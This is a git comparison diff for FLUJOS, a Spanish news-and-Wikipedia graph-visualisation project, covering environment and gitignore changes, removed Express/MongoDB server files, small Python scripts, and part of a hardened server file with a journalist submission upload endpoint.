Compare commits
No commits in common. "main" and "production" have entirely different histories.
main
...
production
32
.env.example
|
|
@ -1,34 +1,6 @@
|
||||||
# ── MongoDB ────────────────────────────────────────────────────────────────
|
# Conexión a MongoDB
|
||||||
MONGO_URL=mongodb://localhost:27017
|
MONGO_URL=mongodb://localhost:27017
|
||||||
DB_NAME=FLUJOS_DATOS
|
DB_NAME=FLUJOS_DATOS
|
||||||
|
|
||||||
# ── API de visualización (FLUJOS/BACK_BACK/FLUJOS_APP.js) ──────────────────
|
# Puerto del servidor Node.js
|
||||||
PORT=3000
|
PORT=3000
|
||||||
# Colección de aristas que alimenta el grafo: `comparaciones` (solape de
|
|
||||||
# palabras, histórica) o `comparaciones_v2` (motor semántico).
|
|
||||||
COMPARACIONES_COL=comparaciones
|
|
||||||
# Token del panel /admin. Si no se define, se lee de FLUJOS_DATOS/.admin_token
|
|
||||||
# ADMIN_TOKEN=
|
|
||||||
|
|
||||||
# ── Rutas (por defecto se deducen de la ubicación del código) ──────────────
|
|
||||||
# Envíos del buzón de periodistas. Debe quedar FUERA del webroot.
|
|
||||||
# SUBMISSIONS_DIR=
|
|
||||||
# Imágenes de Wikipedia ya scrapeadas, servidas en /wiki-images
|
|
||||||
# WIKI_IMAGES_DIR=
|
|
||||||
# Raíz de FLUJOS_DATOS para los scripts de scraping y comparación
|
|
||||||
# FLUJOS_DATOS_DIR=
|
|
||||||
|
|
||||||
# ── API de noticias (coconews/api/server.js) ───────────────────────────────
|
|
||||||
COCONEWS_PORT=3100
|
|
||||||
|
|
||||||
# ── Ingestor RSS (coconews/workers/ingestor.py) ────────────────────────────
|
|
||||||
INGESTOR_SLEEP=900
|
|
||||||
INGESTOR_WORKERS=20
|
|
||||||
INGESTOR_FEED_TIMEOUT=20
|
|
||||||
INGESTOR_BACKFILL_IMG=1
|
|
||||||
INGESTOR_BACKFILL_DIAS=90
|
|
||||||
INGESTOR_BACKFILL_LOTE=300
|
|
||||||
|
|
||||||
# ── Análisis de imágenes (FLUJOS_DATOS/IMAGENES/image_analyzer.py) ─────────
|
|
||||||
VISION_MODEL=Qwen/Qwen3-VL-8B-Instruct
|
|
||||||
# HF_HOME=
|
|
||||||
|
|
|
||||||
49
.gitignore
vendored
|
|
@ -1,46 +1,31 @@
|
||||||
# ========================
|
|
||||||
# SECRETOS — NUNCA SUBIR
|
|
||||||
# ========================
|
|
||||||
# Token del panel de administración (lo lee FLUJOS_APP.js como fallback de ADMIN_TOKEN)
|
|
||||||
FLUJOS_DATOS/.admin_token
|
|
||||||
# Buzón de envíos de periodistas: material filtrado, no toca este repo jamás
|
|
||||||
FLUJOS_DATOS/SUBMISSIONS/
|
|
||||||
.env
|
|
||||||
.env.*
|
|
||||||
!.env.example
|
|
||||||
|
|
||||||
# ========================
|
# ========================
|
||||||
# DATOS PESADOS - NO SUBIR
|
# DATOS PESADOS - NO SUBIR
|
||||||
# ========================
|
# ========================
|
||||||
|
|
||||||
# MongoDB
|
# MongoDB (3.2 GB)
|
||||||
FLUJOS_DATOS/MONGO/
|
FLUJOS_DATOS/MONGO/
|
||||||
|
|
||||||
# Modelo Qwen3-VL (~16GB)
|
# Noticias escrapeadas (1.9 GB)
|
||||||
FLUJOS_DATOS/IMAGENES/model_cache/
|
|
||||||
|
|
||||||
# Imágenes scrapeadas y JSONs de output
|
|
||||||
FLUJOS_DATOS/IMAGENES/output/
|
|
||||||
|
|
||||||
# Datos scrapeados - solo código, no datos
|
|
||||||
FLUJOS_DATOS/NOTICIAS/archivos/
|
FLUJOS_DATOS/NOTICIAS/archivos/
|
||||||
FLUJOS_DATOS/NOTICIAS/articulos/
|
FLUJOS_DATOS/NOTICIAS/articulos/
|
||||||
FLUJOS_DATOS/NOTICIAS/tokenized/
|
FLUJOS_DATOS/NOTICIAS/tokenized/
|
||||||
FLUJOS_DATOS/NOTICIAS/noticias_procesadas.txt
|
|
||||||
FLUJOS_DATOS/NOTICIAS/processed_articles.txt
|
# Wikipedia (611 MB)
|
||||||
FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/
|
FLUJOS_DATOS/WIKIPEDIA/articulos_wikipedia/
|
||||||
FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/
|
FLUJOS_DATOS/WIKIPEDIA/articulos_tokenizados/
|
||||||
FLUJOS_DATOS/TORRENTS/
|
|
||||||
articulos_wikipedia/
|
|
||||||
|
|
||||||
# Entornos virtuales Python
|
# Torrents / WikiLeaks (1.1 GB)
|
||||||
|
FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/tokenized/
|
||||||
|
FLUJOS_DATOS/TORRENTS/TORRENTS_WIKILEAKS_COMPLETO/txt/
|
||||||
|
|
||||||
|
# Entorno virtual Python (2.1 GB)
|
||||||
FLUJOS_DATOS/myenv/
|
FLUJOS_DATOS/myenv/
|
||||||
myenv/
|
myenv/
|
||||||
venv/
|
venv/
|
||||||
env/
|
env/
|
||||||
.venv/
|
.venv/
|
||||||
|
|
||||||
# NLTK data
|
# NLTK data (50 MB)
|
||||||
nltk_data/
|
nltk_data/
|
||||||
|
|
||||||
# Bases de datos
|
# Bases de datos
|
||||||
|
|
@ -53,6 +38,13 @@ nltk_data/
|
||||||
node_modules/
|
node_modules/
|
||||||
**/node_modules/
|
**/node_modules/
|
||||||
|
|
||||||
|
# ========================
|
||||||
|
# SECRETOS Y CONFIG LOCAL
|
||||||
|
# ========================
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
!.env.example
|
||||||
|
|
||||||
# ========================
|
# ========================
|
||||||
# PYTHON
|
# PYTHON
|
||||||
# ========================
|
# ========================
|
||||||
|
|
@ -67,8 +59,6 @@ __pycache__/
|
||||||
# ========================
|
# ========================
|
||||||
*.save
|
*.save
|
||||||
*.bak
|
*.bak
|
||||||
# `*.bak` no casa con `fichero.js.bak-20260823`
|
|
||||||
*.bak-*
|
|
||||||
*_COPIA*
|
*_COPIA*
|
||||||
*~
|
*~
|
||||||
.DS_Store
|
.DS_Store
|
||||||
|
|
@ -79,16 +69,13 @@ Thumbs.db
|
||||||
# ========================
|
# ========================
|
||||||
logs/
|
logs/
|
||||||
*.log
|
*.log
|
||||||
# `*.log` no casa con los rotados `pipeline_mongolo.log.1`
|
|
||||||
*.log.*
|
|
||||||
npm-debug.log*
|
npm-debug.log*
|
||||||
|
|
||||||
# ========================
|
# ========================
|
||||||
# HERRAMIENTAS Y EDITORES
|
# IDEs
|
||||||
# ========================
|
# ========================
|
||||||
.vscode/
|
.vscode/
|
||||||
.idea/
|
.idea/
|
||||||
.claude/
|
|
||||||
*.swp
|
*.swp
|
||||||
*.swo
|
*.swo
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,210 +0,0 @@
|
||||||
// FLUJOS_APP.js ubicado en /var/www/flujos/FLUJOS/BACK_BACK/
|
|
||||||
|
|
||||||
require('dotenv').config(); // Cargar variables de entorno desde .env
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const path = require('path');
|
|
||||||
const bodyParser = require('body-parser');
|
|
||||||
const helmet = require('helmet');
|
|
||||||
const { MongoClient } = require('mongodb');
|
|
||||||
|
|
||||||
const app = express();
|
|
||||||
const port = process.env.PORT || 3000;
|
|
||||||
|
|
||||||
// Configurar Helmet con CSP personalizado
|
|
||||||
app.use(
|
|
||||||
helmet.contentSecurityPolicy({
|
|
||||||
directives: {
|
|
||||||
defaultSrc: ["'self'"],
|
|
||||||
scriptSrc: [
|
|
||||||
"'self'",
|
|
||||||
"'unsafe-inline'",
|
|
||||||
'https://unpkg.com',
|
|
||||||
'https://cdnjs.cloudflare.com',
|
|
||||||
'https://fonts.googleapis.com',
|
|
||||||
'https://fonts.gstatic.com',
|
|
||||||
],
|
|
||||||
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
|
|
||||||
imgSrc: ["'self'", 'data:'],
|
|
||||||
connectSrc: ["'self'", 'ws://localhost:3000'],
|
|
||||||
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
|
|
||||||
},
|
|
||||||
})
|
|
||||||
);
|
|
||||||
|
|
||||||
app.use(bodyParser.json());
|
|
||||||
|
|
||||||
// **Definir primero las rutas de la API**
|
|
||||||
|
|
||||||
app.get('/api/data', async (req, res) => {
|
|
||||||
console.log('Solicitud recibida en /api/data');
|
|
||||||
try {
|
|
||||||
// Asegurarse de que la conexión a la base de datos está establecida
|
|
||||||
if (!db) {
|
|
||||||
res.status(500).json({ error: 'No hay conexión a la base de datos' });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Acceder a las colecciones necesarias
|
|
||||||
const wikipediaCollection = db.collection('wikipedia');
|
|
||||||
const noticiasCollection = db.collection('noticias');
|
|
||||||
const torrentsCollection = db.collection('torrents');
|
|
||||||
const comparacionesCollection = db.collection('comparaciones');
|
|
||||||
|
|
||||||
// Obtener los parámetros de consulta del cliente
|
|
||||||
const { tema, subtematica, palabraClave, fechaInicio, fechaFin, nodos, complejidad } = req.query;
|
|
||||||
console.log('Parámetros de consulta:', req.query);
|
|
||||||
|
|
||||||
// Validar que el parámetro 'tema' esté presente
|
|
||||||
if (!tema) {
|
|
||||||
res.status(400).json({ error: 'El parámetro "tema" es obligatorio' });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Construir la consulta para obtener los nodos (noticias, wikipedia y torrents)
|
|
||||||
let nodesQuery = {
|
|
||||||
tema: tema, // Usar el tema proporcionado
|
|
||||||
};
|
|
||||||
if (subtematica) nodesQuery.subtema = subtematica;
|
|
||||||
if (palabraClave)
|
|
||||||
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
|
||||||
if (fechaInicio && fechaFin) {
|
|
||||||
nodesQuery.fecha = {
|
|
||||||
$gte: new Date(fechaInicio),
|
|
||||||
$lte: new Date(fechaFin),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
console.log('Consulta para nodos:', nodesQuery);
|
|
||||||
|
|
||||||
// Obtener el límite de nodos (con un máximo para evitar sobrecarga)
|
|
||||||
const nodosLimit = Math.min(parseInt(nodos) || 100, 500);
|
|
||||||
|
|
||||||
// Ejecutar la consulta y obtener los resultados de las colecciones
|
|
||||||
console.log('Ejecutando consulta para nodos en colecciones...');
|
|
||||||
const [wikipediaNodes, noticiasNodes, torrentsNodes] = await Promise.all([
|
|
||||||
wikipediaCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
|
||||||
noticiasCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
|
||||||
torrentsCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
|
||||||
]);
|
|
||||||
console.log('Nodos de Wikipedia obtenidos:', wikipediaNodes.length);
|
|
||||||
console.log('Nodos de Noticias obtenidos:', noticiasNodes.length);
|
|
||||||
console.log('Nodos de Torrents obtenidos:', torrentsNodes.length);
|
|
||||||
|
|
||||||
// Combinar los nodos de las colecciones
|
|
||||||
const nodes = [...wikipediaNodes, ...noticiasNodes, ...torrentsNodes];
|
|
||||||
console.log('Total de nodos combinados:', nodes.length);
|
|
||||||
|
|
||||||
// Utilizar los nombres de archivo exactos como IDs de los nodos
|
|
||||||
const formattedNodes = nodes.map((result) => ({
|
|
||||||
id: result.archivo.trim(), // Utilizar el nombre de archivo exacto sin normalizar
|
|
||||||
group: result.subtema || 'sin subtema',
|
|
||||||
tema: result.tema || 'sin tema',
|
|
||||||
content: result.texto || '',
|
|
||||||
fecha: result.fecha || '',
|
|
||||||
}));
|
|
||||||
|
|
||||||
// Obtener los IDs de los nodos
|
|
||||||
const nodeIds = formattedNodes.map(node => node.id);
|
|
||||||
console.log('IDs de nodos:', nodeIds);
|
|
||||||
|
|
||||||
// Leer el parámetro 'complejidad' de la query (que en tu front envías como % de similitud)
|
|
||||||
const porcentajeSimilitudMin = parseFloat(complejidad) || 0;
|
|
||||||
console.log('Porcentaje de similitud mínimo (desde complejidad):', porcentajeSimilitudMin);
|
|
||||||
|
|
||||||
// Construir la consulta para obtener los enlaces relacionados con los nodos obtenidos
|
|
||||||
const linksQuery = {
|
|
||||||
porcentaje_similitud: { $gte: porcentajeSimilitudMin },
|
|
||||||
noticia1: { $in: nodeIds },
|
|
||||||
noticia2: { $in: nodeIds },
|
|
||||||
};
|
|
||||||
console.log('Consulta para enlaces:', linksQuery);
|
|
||||||
|
|
||||||
// Ejecutar la consulta y obtener los enlaces
|
|
||||||
console.log('Ejecutando consulta para enlaces...');
|
|
||||||
const links = await comparacionesCollection.find(linksQuery).toArray();
|
|
||||||
console.log('Enlaces obtenidos:', links.length);
|
|
||||||
|
|
||||||
// Formatear los enlaces sin normalizar los IDs
|
|
||||||
const formattedLinks = links.map((result) => ({
|
|
||||||
source: result.noticia1.trim(),
|
|
||||||
target: result.noticia2.trim(),
|
|
||||||
value: result.porcentaje_similitud,
|
|
||||||
}));
|
|
||||||
|
|
||||||
// Enviar los datos al cliente en formato JSON
|
|
||||||
res.json({ nodes: formattedNodes, links: formattedLinks });
|
|
||||||
console.log('Datos enviados al cliente');
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error al obtener datos:', error);
|
|
||||||
res.status(500).json({ error: 'Error al obtener datos' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// **Luego, definir las rutas de las páginas principales**
|
|
||||||
// Rutas para las páginas principales
|
|
||||||
app.get('/', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/index.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/climate.html', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/glob-war.html', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/glob-war.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/popl-up.html', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/popl-up.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/int-sec.html', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/int-sec.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/eco-corp.html', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/eco-corp.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
// **Después, configurar el middleware de archivos estáticos**
|
|
||||||
|
|
||||||
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
|
|
||||||
|
|
||||||
// Conexión a MongoDB usando variables de entorno
|
|
||||||
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
|
|
||||||
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
|
|
||||||
|
|
||||||
let db; // Variable para almacenar la conexión a la base de datos
|
|
||||||
|
|
||||||
// Función para conectar a MongoDB
|
|
||||||
async function connectToMongoDB() {
|
|
||||||
try {
|
|
||||||
const mongoClient = new MongoClient(mongoUrl, {
|
|
||||||
useNewUrlParser: true,
|
|
||||||
useUnifiedTopology: true,
|
|
||||||
});
|
|
||||||
await mongoClient.connect();
|
|
||||||
db = mongoClient.db(dbName);
|
|
||||||
console.log('Conectado a MongoDB');
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error al conectar a MongoDB:', error);
|
|
||||||
process.exit(1); // Salir de la aplicación si no se puede conectar
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Llamar a la función para conectar a MongoDB
|
|
||||||
connectToMongoDB();
|
|
||||||
|
|
||||||
// Iniciar el servidor escuchando en todas las interfaces
|
|
||||||
app.listen(port, '0.0.0.0', () => {
|
|
||||||
console.log(`La aplicación está escuchando en http://localhost:${port}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Manejar el cierre de la aplicación
|
|
||||||
process.on('SIGINT', async () => {
|
|
||||||
if (db) {
|
|
||||||
await db.close();
|
|
||||||
console.log('Conexión a MongoDB cerrada');
|
|
||||||
}
|
|
||||||
process.exit(0);
|
|
||||||
});
|
|
||||||
|
|
@ -1,113 +0,0 @@
|
||||||
// FLUJOS_APP.js ubicado en /var/www/flujos/FLUJOS/BACK_BACK/
|
|
||||||
|
|
||||||
require('dotenv').config(); // Cargar variables de entorno desde .env
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const path = require('path');
|
|
||||||
const bodyParser = require('body-parser');
|
|
||||||
const helmet = require('helmet');
|
|
||||||
const { MongoClient } = require('mongodb');
|
|
||||||
|
|
||||||
const app = express();
|
|
||||||
const port = process.env.PORT || 3000;
|
|
||||||
|
|
||||||
// Configurar Helmet con CSP personalizado
|
|
||||||
app.use(
|
|
||||||
helmet.contentSecurityPolicy({
|
|
||||||
directives: {
|
|
||||||
defaultSrc: ["'self'"],
|
|
||||||
scriptSrc: [
|
|
||||||
"'self'",
|
|
||||||
"'unsafe-inline'",
|
|
||||||
'https://unpkg.com',
|
|
||||||
'https://cdnjs.cloudflare.com',
|
|
||||||
'https://fonts.googleapis.com',
|
|
||||||
'https://fonts.gstatic.com',
|
|
||||||
],
|
|
||||||
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
|
|
||||||
imgSrc: ["'self'", 'data:'],
|
|
||||||
connectSrc: ["'self'", 'ws://localhost:3000'],
|
|
||||||
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
|
|
||||||
},
|
|
||||||
})
|
|
||||||
);
|
|
||||||
|
|
||||||
app.use(bodyParser.json());
|
|
||||||
|
|
||||||
// Configurar el directorio de archivos estáticos
|
|
||||||
app.use(express.static(path.join(__dirname, '../VISUALIZACION/public')));
|
|
||||||
|
|
||||||
// Ruta para la página principal
|
|
||||||
app.get('/', (req, res) => {
|
|
||||||
res.sendFile(path.join(__dirname, '../VISUALIZACION/public/climate.html'));
|
|
||||||
});
|
|
||||||
|
|
||||||
// Conexión a MongoDB usando variables de entorno
|
|
||||||
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
|
|
||||||
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
|
|
||||||
const mongoClient = new MongoClient(mongoUrl, { useNewUrlParser: true, useUnifiedTopology: true });
|
|
||||||
|
|
||||||
// Endpoint para obtener datos de climate
|
|
||||||
app.get('/api/climate-data', async (req, res) => {
|
|
||||||
try {
|
|
||||||
// Conectar a MongoDB
|
|
||||||
await mongoClient.connect();
|
|
||||||
const db = mongoClient.db(dbName);
|
|
||||||
|
|
||||||
// Acceder a las colecciones necesarias
|
|
||||||
const noticiasCollection = db.collection('noticias');
|
|
||||||
const comparacionesCollection = db.collection('comparaciones');
|
|
||||||
|
|
||||||
// Obtener los parámetros de consulta del cliente (si los hay)
|
|
||||||
const { subtematica, palabraClave, fechaInicio, fechaFin } = req.query;
|
|
||||||
|
|
||||||
// Construir la consulta para obtener los nodos (noticias)
|
|
||||||
const nodesQuery = { tema: 'cambio climático' };
|
|
||||||
if (subtematica) nodesQuery.subtema = subtematica;
|
|
||||||
if (palabraClave) nodesQuery.contenido = { $regex: palabraClave, $options: 'i' };
|
|
||||||
if (fechaInicio && fechaFin) {
|
|
||||||
nodesQuery.fecha = {
|
|
||||||
$gte: new Date(fechaInicio),
|
|
||||||
$lte: new Date(fechaFin)
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ejecutar la consulta y obtener los resultados
|
|
||||||
const nodesCursor = noticiasCollection.find(nodesQuery).limit(50); // Puedes ajustar el límite según tus necesidades
|
|
||||||
const nodes = await nodesCursor.toArray();
|
|
||||||
|
|
||||||
// Construir la consulta para obtener los enlaces (comparaciones)
|
|
||||||
const linksQuery = { porcentaje_similitud: { $gte: 5 } }; // Ajusta el valor según necesites
|
|
||||||
const linksCursor = comparacionesCollection.find(linksQuery);
|
|
||||||
const links = await linksCursor.toArray();
|
|
||||||
|
|
||||||
// Formatear los datos para enviarlos al cliente
|
|
||||||
const formattedNodes = nodes.map(result => ({
|
|
||||||
id: result.archivo,
|
|
||||||
group: result.tipo,
|
|
||||||
tema: result.tema,
|
|
||||||
content: result.contenido,
|
|
||||||
fecha: result.fecha,
|
|
||||||
}));
|
|
||||||
|
|
||||||
const formattedLinks = links.map(result => ({
|
|
||||||
source: result.noticia1,
|
|
||||||
target: result.noticia2,
|
|
||||||
value: result.porcentaje_similitud,
|
|
||||||
}));
|
|
||||||
|
|
||||||
// Enviar los datos al cliente en formato JSON
|
|
||||||
res.json({ nodes: formattedNodes, links: formattedLinks });
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error al obtener datos:', error);
|
|
||||||
res.status(500).json({ error: 'Error al obtener datos' });
|
|
||||||
} finally {
|
|
||||||
// Cerrar la conexión a la base de datos
|
|
||||||
await mongoClient.close();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// Iniciar el servidor
|
|
||||||
app.listen(port, () => {
|
|
||||||
console.log(`La aplicación está escuchando en http://localhost:${port}`);
|
|
||||||
});
|
|
||||||
|
|
@ -1,13 +0,0 @@
|
||||||
from flask import Flask, request, jsonify
|
|
||||||
|
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
@app.route('/tensorflow', methods=['POST'])
|
|
||||||
def tensorflow_endpoint():
|
|
||||||
data = request.json
|
|
||||||
# Aquí procesarías el dato con tu modelo TensorFlow
|
|
||||||
# Por ahora solo lo devolvemos como está
|
|
||||||
return jsonify(data)
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
app.run(port=5000)
|
|
||||||
|
|
@ -1,45 +0,0 @@
|
||||||
import pandas as pd
|
|
||||||
from pymongo import MongoClient
|
|
||||||
from obsei.source.pandas_source import PandasSource, PandasSourceConfig
|
|
||||||
from obsei.analyzer.classification_analyzer import ClassificationAnalyzerConfig, ZeroShotClassificationAnalyzer
|
|
||||||
from obsei.sink.pandas_sink import PandasSink, PandasSinkConfig
|
|
||||||
|
|
||||||
# Configura la fuente
|
|
||||||
source = PandasSource()
|
|
||||||
source_config = PandasSourceConfig(
|
|
||||||
# Proporciona tu configuración aquí
|
|
||||||
)
|
|
||||||
|
|
||||||
# Configura el analizador
|
|
||||||
analyzer = ZeroShotClassificationAnalyzer(
|
|
||||||
# Proporciona tu configuración aquí
|
|
||||||
)
|
|
||||||
analyzer_config = ClassificationAnalyzerConfig(
|
|
||||||
# Proporciona tu configuración aquí
|
|
||||||
)
|
|
||||||
|
|
||||||
# Configura el sumidero
|
|
||||||
sink = PandasSink()
|
|
||||||
sink_config = PandasSinkConfig(
|
|
||||||
# Proporciona tu configuración aquí
|
|
||||||
)
|
|
||||||
|
|
||||||
# Ejecuta el flujo de trabajo
|
|
||||||
source_response_list = source.lookup(source_config)
|
|
||||||
analyzer_response_list = analyzer.analyze_input(
|
|
||||||
source_response_list=source_response_list,
|
|
||||||
analyzer_config=analyzer_config
|
|
||||||
)
|
|
||||||
sink_response_list = sink.send_data(analyzer_response_list, sink_config)
|
|
||||||
|
|
||||||
# Ahora `sink_response_list` es una lista de DataFrames.
|
|
||||||
# Puedes concatenarlos en un solo DataFrame si es necesario.
|
|
||||||
df = pd.concat(sink_response_list)
|
|
||||||
|
|
||||||
# Realiza cualquier transformación o limpieza de datos necesaria aquí...
|
|
||||||
|
|
||||||
# Finalmente, guarda el DataFrame en MongoDB.
|
|
||||||
client = MongoClient('mongodb://localhost:27017/')
|
|
||||||
db = client['nombre_de_tu_base_de_datos']
|
|
||||||
collection = db['nombre_de_tu_coleccion']
|
|
||||||
collection.insert_many(df.to_dict('records'))
|
|
||||||
12056
BACK_BACK/package-lock.json
generated
|
|
@ -1,32 +0,0 @@
|
||||||
{
|
|
||||||
"name": "flujos",
|
|
||||||
"version": "1.0.0",
|
|
||||||
"description": "Aplicación FLUJOS",
|
|
||||||
"main": "FLUJOS_APP.js",
|
|
||||||
"scripts": {
|
|
||||||
"start": "node FLUJOS_APP.js",
|
|
||||||
"dev": "nodemon FLUJOS_APP.js",
|
|
||||||
"test": "echo \"Error: no test specified\" && exit 1"
|
|
||||||
},
|
|
||||||
"author": "",
|
|
||||||
"license": "ISC",
|
|
||||||
"dependencies": {
|
|
||||||
"@elastic/elasticsearch": "^8.9.0",
|
|
||||||
"body-parser": "^1.20.3",
|
|
||||||
"dotenv": "^16.4.5",
|
|
||||||
"express": "^4.21.0",
|
|
||||||
"express-graphql": "^0.12.0",
|
|
||||||
"force-graph": "^1.43.2",
|
|
||||||
"graphql": "^15.8.0",
|
|
||||||
"helmet": "^8.0.0",
|
|
||||||
"mongod": "^2.0.0",
|
|
||||||
"mongodb": "^6.9.0",
|
|
||||||
"mongoose": "^7.3.4",
|
|
||||||
"node-fetch": "^3.3.2",
|
|
||||||
"tree": "^0.1.3"
|
|
||||||
},
|
|
||||||
"devDependencies": {
|
|
||||||
"nodemon": "^3.1.7",
|
|
||||||
"parcel-bundler": "^1.8.1"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
pip install obsei[all]
|
|
||||||
|
|
@ -4,155 +4,38 @@ require('dotenv').config(); // Cargar variables de entorno desde .env
|
||||||
|
|
||||||
const express = require('express');
|
const express = require('express');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
const fs = require('fs');
|
|
||||||
const bodyParser = require('body-parser');
|
const bodyParser = require('body-parser');
|
||||||
const helmet = require('helmet');
|
const helmet = require('helmet');
|
||||||
const multer = require('multer');
|
|
||||||
const { MongoClient } = require('mongodb');
|
const { MongoClient } = require('mongodb');
|
||||||
|
|
||||||
const app = express();
|
const app = express();
|
||||||
const port = process.env.PORT || 3000;
|
const port = process.env.PORT || 3000;
|
||||||
|
|
||||||
// Colección de comparaciones servida al grafo (configurable para conmutar al motor semántico v2)
|
// Configurar Helmet con CSP personalizado
|
||||||
const COMPARACIONES_COL = process.env.COMPARACIONES_COL || 'comparaciones';
|
|
||||||
|
|
||||||
// --- Buzón seguro de colaboradores/periodistas ---------------------------
|
|
||||||
// Los envíos se guardan FUERA del webroot (nunca se sirven como estáticos).
|
|
||||||
const SUBMISSIONS_DIR = process.env.SUBMISSIONS_DIR
|
|
||||||
|| path.join(__dirname, '../../FLUJOS_DATOS/SUBMISSIONS');
|
|
||||||
|
|
||||||
// Imagenes de Wikipedia ya scrapeadas; se sirven en /wiki-images
|
|
||||||
const WIKI_IMAGES_DIR = process.env.WIKI_IMAGES_DIR
|
|
||||||
|| path.join(__dirname, '../../FLUJOS_DATOS/IMAGENES/output/wiki_images');
|
|
||||||
try { fs.mkdirSync(SUBMISSIONS_DIR, { recursive: true, mode: 0o700 }); } catch (e) { /* noop */ }
|
|
||||||
|
|
||||||
const submitStorage = multer.diskStorage({
|
|
||||||
destination: (req, file, cb) => cb(null, SUBMISSIONS_DIR),
|
|
||||||
filename: (req, file, cb) => {
|
|
||||||
const safe = (file.originalname || 'archivo')
|
|
||||||
.replace(/[^a-zA-Z0-9._-]/g, '_').slice(0, 80);
|
|
||||||
cb(null, `${Date.now()}_${Math.random().toString(36).slice(2, 8)}_${safe}`);
|
|
||||||
},
|
|
||||||
});
|
|
||||||
const submitUpload = multer({
|
|
||||||
storage: submitStorage,
|
|
||||||
limits: { fileSize: 50 * 1024 * 1024, files: 8 }, // 50 MB/archivo, 8 archivos
|
|
||||||
});
|
|
||||||
|
|
||||||
// Rate-limit sencillo en memoria por IP para el buzón (10 envíos/hora)
|
|
||||||
const submitHits = new Map();
|
|
||||||
function submitRateLimit(req, res, next) {
|
|
||||||
const ip = (req.headers['x-forwarded-for'] || '').split(',')[0].trim()
|
|
||||||
|| req.socket.remoteAddress || 'desconocida';
|
|
||||||
const now = Date.now();
|
|
||||||
const windowMs = 60 * 60 * 1000;
|
|
||||||
const arr = (submitHits.get(ip) || []).filter((t) => now - t < windowMs);
|
|
||||||
if (arr.length >= 10) {
|
|
||||||
return res.status(429).json({ ok: false, error: 'Demasiados envíos desde tu conexión. Inténtalo más tarde.' });
|
|
||||||
}
|
|
||||||
arr.push(now);
|
|
||||||
submitHits.set(ip, arr);
|
|
||||||
next();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Helmet completo: X-Powered-By off, XSS protection, nosniff, frameguard, HSTS, etc.
|
|
||||||
app.use(helmet());
|
|
||||||
|
|
||||||
// CSP personalizado encima del helmet por defecto
|
|
||||||
app.use(
|
app.use(
|
||||||
helmet.contentSecurityPolicy({
|
helmet.contentSecurityPolicy({
|
||||||
directives: {
|
directives: {
|
||||||
defaultSrc: ["'self'"],
|
defaultSrc: ["'self'"],
|
||||||
scriptSrc: ["'self'", "'unsafe-inline'", 'https://cdn.jsdelivr.net', 'https://esm.sh', 'https://unpkg.com', 'https://cdnjs.cloudflare.com'],
|
scriptSrc: [
|
||||||
|
"'self'",
|
||||||
|
"'unsafe-inline'",
|
||||||
|
'https://unpkg.com',
|
||||||
|
'https://cdnjs.cloudflare.com',
|
||||||
|
'https://fonts.googleapis.com',
|
||||||
|
'https://fonts.gstatic.com',
|
||||||
|
],
|
||||||
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
|
styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
|
||||||
imgSrc: ["'self'", 'data:', 'blob:'],
|
imgSrc: ["'self'", 'data:'],
|
||||||
connectSrc: ["'self'", 'https://esm.sh'],
|
connectSrc: ["'self'", 'ws://localhost:3000'],
|
||||||
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
|
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
|
||||||
frameAncestors: ["'none'"],
|
|
||||||
objectSrc: ["'none'"],
|
|
||||||
baseUri: ["'self'"],
|
